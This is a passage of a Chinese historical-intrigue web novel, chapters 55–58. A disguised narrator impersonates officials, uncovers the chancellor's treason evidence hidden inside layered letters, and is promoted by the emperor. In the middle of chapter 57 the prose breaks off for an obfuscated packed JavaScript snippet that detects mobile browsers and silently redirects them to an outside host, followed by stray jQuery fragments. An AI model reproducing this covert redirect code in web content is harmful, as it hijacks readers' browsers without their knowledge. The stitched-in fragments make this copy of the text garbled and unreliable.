55
周佑民没有妻儿,在京城无牵无挂。
若是无人为他收敛尸体,最终的下场便是裹上草席随意丢到乱葬岗。
正所谓人走茶凉,我得势的时候众星捧月,受尽万人追捧。现如今身份沦为了罪人,却没有任何人敢过来收尸,生怕惹上一身腥。
对于我而言,这反倒是一桩好事。因为没有人在意,我便能神不知鬼不觉地处理掉尸骨。
眼看着尸体即将送出宫门,没想到半路横生枝节,赵怀礼奔走而来,竟然毫不避讳,抱着尸体嚎啕大哭。
他嘴里念叨着:“佑民,是我来晚了,没能救着你。对不起……”
赵怀礼本该是个重名节的人,却在这个节骨眼出现,根本不顾及他人眼光,说到底还是犯了糊涂。
我只好委婉提醒道:“赵主事,此地人多嘴杂,容易惹来是非。”
“张大人多虑了,我可不是您这种为求自保,不顾往昔情谊的人。”
赵怀礼抬眸,愤愤地瞪着我,却还是说不出粗俗的脏话,只是道:“是非在己,毁誉由人。我也好,佑民也罢,本身就没做过什么错事,根本不怕他人评说。若他们想嚼舌根,便由着他们说去!”
他态度坚定,我也不好插手。
我怕他会发现调包的事情,只好一路守着尸体,亲眼看着尸体在灶炉里火化,才彻底放下心来。
赵怀礼站在原地,仍然不肯离开。
我叹了一口气,决定放任不管。再痛苦的生离死别,终究会被时间消磨。
马夫扬起鞭子,起驾前往丞相府。离开的时候,我隐隐约约听见传来笛声,带着几分悲凉的意味,唱的是《越人词》:山有木兮木有枝,心悦君兮君不知。
我的心中五味杂陈,但还是没有回头。
56
马车停在丞相府门口,我不免有些许紧张。
伪装张知节的难度,明显比周郎更上一层楼。如果不能除掉王丞相这老头,我迟早会落得个悲惨下场。
我深吸一口气,整了整衣冠,踏入了宅院。王慧敏坐在亭子里,倚着朱红色的柱子,问身边的丫鬟:“你说这花送林丫头,是大红重瓣牡丹的好,还是白色单瓣牡丹好?”
“都不好。”我自然地接过话茬,学着张知节的模样,脱下外衫披在她的肩头,嘘寒问暖道,“外头风大,夫人当心着凉。”
“哼,你倒是对旧情人的喜好一清二楚。”王慧敏对我的关心无动于衷,直接翻了个白眼,却忍不住追问道,“你倒是说说看,是怎么个不好法?”
我在心底发笑。她嘴上说着嫌弃的话,实际心里头依然惦记着林兰芝。
只要是夫人送的,估计她都会喜欢,不管是什么颜色。但这话我不能说出口,只好找了个理由解释道:“红色太过俗气,单瓣稍显单薄,不如各取其长,送白色重瓣牡丹。”
王慧敏多看了我一眼,若有所思道:“好吧,确实有几分道理。没想到你这狗嘴里,真的能吐出个象牙。”
她这话说得难听,像是在故意刺激我。我一时间有些哭笑不得。
没等我开口,王慧敏就站起身来,一把将肩头的衣衫丢回给我,嗤笑道:“我天生火气大,不需要这多余的东西。我父亲在里头等你,他有话跟你说。”
我抓住劈头盖脸飞来的外衫,不由得愣了愣。
她眯着眼,盯着我看了一会儿,忽然笑了:“给你个忠告,父亲他今天心情不错。”
这句话听起来没头没脑,我有些弄不明白,只是下意识顺着她的手指,朝正厅的方向走去。与此同时,我的大脑飞速运转,盘算着待会该说的话。
要扳倒王丞相,可不是件容易的事。但人在河边走,哪能不湿鞋。他现在自以为了结周佑民的性命,心中肯定会有所懈怠,如此我便有了可趁之机。
只见王丞相坐在雕花木椅上,朝我微微颔首。
他不紧不慢地抿了口茶水,仿佛闲话家常般,颇为和蔼地笑道:“我听闻,周佑民死前,你去见了他一面。你们聊了什么?”
好一个消息灵通的笑面虎,这么快就来兴师问罪了。
面对他的笑里藏刀,我自然不敢大意,立刻垂下头,恭敬道:“我正想跟您禀告此事,周佑民意图挑拨离间,阻隔我跟您的关系。我便想将计就计,从他的嘴里套出对您不利的消息,然后再及时销毁。”
王丞相捋了捋胡须,点头道:“可有什么发现?”
我主动示好表明忠心,他看起来颇为受用,脸色也缓和了不少。
我想起方才王慧敏说过的话,便决定趁着他心情正好,顺势乘胜追击,便主动请命道:“周佑民把那东西藏在府邸,但他语焉不详,我不知道具体的位置。不如向陛下谏言抄家,借此机会暗中彻查周府。至于负责这差事的人选,我……愿意为您分忧。”
我有十足的把握,他会答应我的请求。若要销毁暗藏的罪证,他肯定不方便亲自出面,让我这个女婿代劳,自然是再好不过。
果不其然,他没多犹豫,便赞同道:“如此甚好。”
57
我奉命前往周府抄家。
先前我初来乍到京城,这四方宅院便是我的容身之所。如今再回到这里,早已是物是人非,我不免有几分唏嘘。
然而,我迫切想要扳回一城的心情,很快盖过了这微不足道的惆怅。我势必要找出王丞相通敌叛国的证据,将此前遭受的屈辱加倍奉还。
我本以为凭借自己对周郎的了解,很快就能发现线索。没想到将府邸翻了个底朝天,犄角旮旯都找遍了,所有写着字的纸张都读完了,也没有发现任何可疑的内容。
混蛋周佑民,你到底把东西给藏哪儿去了?
我心中大失所望,精神有些疲惫,便随口打发走抄家的小吏,独自待在书房里小憩。
这时忽然刮过一阵大风,吹乱了地面堆积的纸张。我下意识弯腰去捡,这才发现书柜底下还有个小盒子。
我当即欣喜若狂,连忙伸手去掏。打开盒子一看,里面是成沓的信封。
竟然都是我这些年来写给周郎的信。
随便拆开几张读,尽是些鸡毛蒜皮的小事。中间内容不连贯,应该是弄丢了,说到底也无伤大雅。因为信里所写的文字,,除了几句口头上的甜言蜜语,无非就是暗示周郎回来娶我。
也难怪负责搜查的小吏们,都没有向我禀告这些信笺的存在。估计是觉得跟政事风马牛不相及,便直接忽略掉了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816794|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>我自己都觉得索然无味,正想放下信笺,但手指传来的质感总有些不对劲。
奇怪,我记得自己当时内心嫌弃得紧,不愿意花太多心思,用的是最便宜的劣等纸,手感根本没有这么厚实。
我忍不住上下摩挲,仔仔细细翻看这些纸张,脑海里忽然冒出一个大胆的猜想。
莫非这纸里头掺杂着什么东西?
我寻来小刀,顺着信纸的侧面,小心翼翼划开出一道小口,里面竟然夹着截然不同的名贵薄纸。
因为薄如蝉翼方便携带,这种纸价格昂贵不易腐烂,有钱人常用来当凭证契约。
我这才恍然大悟,难怪书信的内容不连贯,原来是两张纸覆盖粘贴,形成了暗藏玄机的夹层。而这里头藏着的薄纸,正是王丞相通敌叛国的证据。
这手法太过隐蔽。若我不是叶婉清,恰巧知道书信的内容,就根本就发觉不了其中的问题。
我不明白周佑民为什么要这样做,有那么多的地方可以藏,为何偏偏藏在我写给他的书信里?他当时是不是已经预感到自己死期将近,试图将证据托付给我?他火急火燎突然回来娶我,到底是有所图谋,还是发自真心?
周佑民已经死了,即便有再多的困惑,我也无处追问。
世间所有的事,不是非黑即白。世间所有的情,也不是爱恨分明。
人心复杂难明,假作真时真亦假。兜兜转转到头来,我还是不知他是什么样的人。
58
未免夜长梦多,我当即入宫面圣。
我将证据呈给昏君的时候,他正在品尝西域进贡的葡萄酒。
只见他醉眼迷离,面满绯红,抚掌大笑道:“赵、赵尚书,你这是专门来找朕,献上一出大义灭亲的好戏吗?”
我低头不语。
若换成周佑民的身份,我高低得说几句阿谀奉承的话,顺便讨讨他的欢心。但现在我是赵怀礼,明面上跟丞相有着千丝万缕的联系,贸然做出谄媚的行为,只会造成反效果,倒不如什么都不做。
昏君眯着眼,打量我许久,忽然坐直了身体,眼底一片清明。他没再跟我装糊涂,直接问道:“赵尚书,朕很好奇你为什么会愿意将此事和盘托出?”
我拱手行礼,拿出早已打好腹稿的说辞:“周佑民是王大人推出去的替罪羊,我跟他是同乡,看见他落得如此下场,难免生出唇亡齿寒的感觉。或许世家跟寒门之间,从来都隔着一道难以逾越的鸿沟。”
“不管是世家还是寒门,在朕的眼里,都是一样的。”昏君抿了一口酒,不徐不缓地说道,“只要你做的好,就是自己人。若是生出僭越的心意,那就只有一个结果。”
说罢,他将酒杯一掷,摔得四分五裂。
“朕喜欢你今日唱的这出戏。如若能一直为朕唱下去,那便好了。”
我低头笑道:“谨遵圣旨。”
昏君平日为王丞相颇为忌惮,虽然表现得并不明显,但隐隐有所显露。他需要扶持周佑民对抗世家,但这颗棋子令他大失所望,在理由充分的情况下被王丞相拔除。
他肯定要物色新的棋子。而我,便是他的不二之选。
昏君露出满意的笑容:“好,那从明日开始,你便是朕的新丞相。”